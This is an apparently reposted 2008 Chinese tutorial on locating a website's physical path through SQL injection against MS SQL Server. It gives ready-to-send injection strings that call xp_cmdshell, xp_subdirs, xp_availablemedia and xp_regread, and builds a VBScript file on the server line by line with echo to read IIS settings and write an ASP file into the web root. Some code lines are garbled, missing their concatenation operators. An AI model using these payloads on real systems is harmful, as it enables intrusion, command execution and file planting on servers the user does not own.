SQL Server取得网站路径的几种方法及比较

2008-08-12 10:02:28 北京时间

 

 

1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入dirs表中:

 

5 ;insert dirs exec master.dbo.xp_availablemedia;--

 

我们可以通过查询temp的内容来获得驱动器列表及相关信息

 

(2)我们可以利用xp_subdirs获得子目录列表,并存入dirs表中:

 

5 ;insert into dirs exec master.dbo.xp_subdirs ’c:\’ ;--

 

优缺点分析:

 

很明显了,这样就不会出现xp_dirtree那种所有目录都放在一起的情况了,只会显示一级目录,找起来方便多了.

 

缺点也很明显,只有sa有这个权限,也有可能管理员删除了这个扩展(毕竟太强大了).

 

方法三:

 

这种方法很好

 

下面这个是原文

 

想到了使用adsutil.vbs程序,我是这样执行的

 

a’;exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt’;--是不是很长啦通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯),导入到a.txt中对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs,删了或是放到别的地方我们就没办法了(不可能自已用echo 命令写一个吧)

 

第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧

 

.....xp_cmdshell ’echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs’;--

.....xp_cmdshell ’echo Set WshShell = Wscript.createObject("Wscript.Shell")>>c:\read.vbs’

;--

.....

-------------------read.vbs---------------------------------

set fso1=createobject("scripting.filesystemobject")

Set WshShell = Wscript.createObject("Wscript.Shell")

spa=WshShell.Environment("process")("windir")

set fil =fso1.opentextfile(spa & "\system32\aa.txt")

do while not fil.atendofstream

nr=fil.readline

if left(nr,4)="Path" then

pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

exit do

end if

loop

set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)

fil1.writeline ""

---------------cut here-------------------------------------

 

 

第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径

 

然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯

 

执行http://x.x.x.x/dd.asp

 

返回:\xxx

 

哈哈,的确是好方法,

 

不过原文好像有点问题

 

就是

 

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")

 

set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)

 

两句提交时会出错

 

于是我们想到了加号,和&的功能相同

 

还有就是写点什么东西到dd.asp呢?写入pa,哈哈

 

哈哈,改成了

 

-------------------read.vbs---------------------------------

set fso1=createobject("scripting.filesystemobject")

Set WshShell = Wscript.createObject("Wscript.Shell")

spa=WshShell.Environment("process")("windir")

set fil =fso1.opentextfile(spa "\system32\aa.txt")

do while not fil.atendofstream

nr=fil.readline

if left(nr,4)="Path" then

pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

exit do

end if

loop

set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)

fil1.writeline pa

---------------cut here--------------------------------------

 

 

因为用浏览器提交时 号被转换成了空格,所以在提交的时候还应该把变成%2B,好了,应该可以了,如下

 

-------------------read.vbs---------------------------------

set fso1=createobject("scripting.filesystemobject")

Set WshShell = Wscript.createObject("Wscript.Shell")

spa=WshShell.Environment("process")("windir")

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")

do while not fil.atendofstream

nr=fil.readline

if left(nr,4)="Path" then

pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

exit do

end if

loop

set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)

fil1.writeline pa

---------------cut here--------------------------------------

 

 

 

如果发现1没有的话,我们可以该成2,3,4...........

a’;exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt’;--

 

但是这种方法只能在windows2000下使用,因为2003下新建的网站所在地址不是按照1234来排列的,好像是随机生成的,个人比较过几个2003下的

 

地址,没有发现什么规律.

 

优缺点分析

 

同上xp_cmdshell不是每一个用户都可以用的!还有一个问题是adsutil文件不一定存在,或者不一定在那个路径上,当然如果你原意的话你可以用

 

echo写一个(哈哈,老多老多行的哟),另外的一个问题是,如果主机上有很多站点怎么办?我遇到过一个有九个站点的主机,胆识只有第8个是有用

 

的,晕了吧,很难有人有嗯那个耐性会坚持到那么多的,早就崩溃了或许.还有就是不能在2003下用!

 

不过说实话,这个方法的确是一个好方法

 

方法四:

 

这个方法是要饭的提到的,通过xp_regread等从注册表里读出路径

 

以下推荐,获取网页路径(通过存储过程达到对注册表的读取):

 

利用内置存储过程 xp_regread(读取注册表键值,权限public):

 

语句:http://www.xxx.com/list.asp?classid=1;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test

 

varchar(20) exec master..xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=

 

SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT insert into paths

 

(path) values(@test)



发表评论

请文明参与讨论,禁止漫骂攻击。本站保留不刊登无关和不雅评论的权力。


用户名: 密码: 匿名

相关新闻
由于工程需要经常将客户的现场数据导出到公司的开发环境中,随着
在对数据库进行操作过程中我们可能会遇到这种情况,表中的数据可
根据NULL的定义,NULL表示的是未知,因此两个NULL比较的结果既不
ORACLE 数据库有三种标准的备份方法,它们分别为导出/导入(EXPO
近来公司技术,研发都在问我关于内存参数如何设置可以优化Oracle

广告
© 2008 The Czz5 Company. All Rights Reserved. 关于我们 - 联系我们 - 广告业务 - 网站地图 - 版权声明 - 友情连接 - 网站投稿 - 致信编辑